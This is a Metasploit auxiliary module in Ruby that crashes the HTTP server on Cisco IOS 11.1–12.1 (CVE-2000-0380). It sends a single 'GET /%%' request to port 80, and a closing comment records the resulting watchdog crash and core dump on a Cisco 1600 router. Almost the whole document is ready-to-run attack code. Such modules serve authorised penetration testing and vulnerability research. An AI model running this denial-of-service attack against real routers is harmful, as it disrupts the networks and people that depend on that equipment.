Cisco IOS HTTP GET /%% Request Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cisco IOS HTTP GET /%% Request Denial of Service',  
'Description' => %q{  
This module triggers a Denial of Service condition in the Cisco IOS  
HTTP server. By sending a GET request for "/%%", the device becomes  
unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module  
tested successfully against a Cisco 1600 Router IOS v11.2(18)P.  
},  
'Author' => [ 'aushack' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'BID', '1154'],  
[ 'CVE', '2000-0380'],  
[ 'OSVDB', '1302' ],  
],  
'DisclosureDate' => '2000-04-26'))  
  
register_options(  
[  
Opt::RPORT(80),  
])  
  
end  
  
def run  
connect  
  
print_status("Sending HTTP DoS packet")  
  
sploit = "GET /%% HTTP/1.0"  
sock.put(sploit + "\r\n")  
  
disconnect  
end  
end  
  
=begin  
  
Patrick Webster 20070915 Cisco 1600 Router IOS v11.2(18)P  
  
IOS info:  
IOS (tm) 1600 Software (C1600-Y-L), Version 11.2(18)P, RELEASE SOFTWARE (fc1)  
Copyright (c) 1986-1999 by cisco Systems, Inc.  
Compiled Mon 12-Apr-99 14:53 by ashah  
  
Example crash:  
  
%Software-forced reload  
Preparing to dump core...  
Router>  
*Mar 1 00:03:06.349: %SYS-2-WATCHDOG: Process aborted on watchdog timeout, Process = HTTP Server  
-Traceback= 80EE1BC 80F0EC0 80EC004 81C0832 81C0B2E 81C0C76 81C0D68 81C0E4E  
Queued messages:  
*** EXCEPTION ***  
software forced crash  
program counter = 0x80eaca6  
status register = 0x2700  
vbr at time of exception = 0x4000000  
  
=end  
`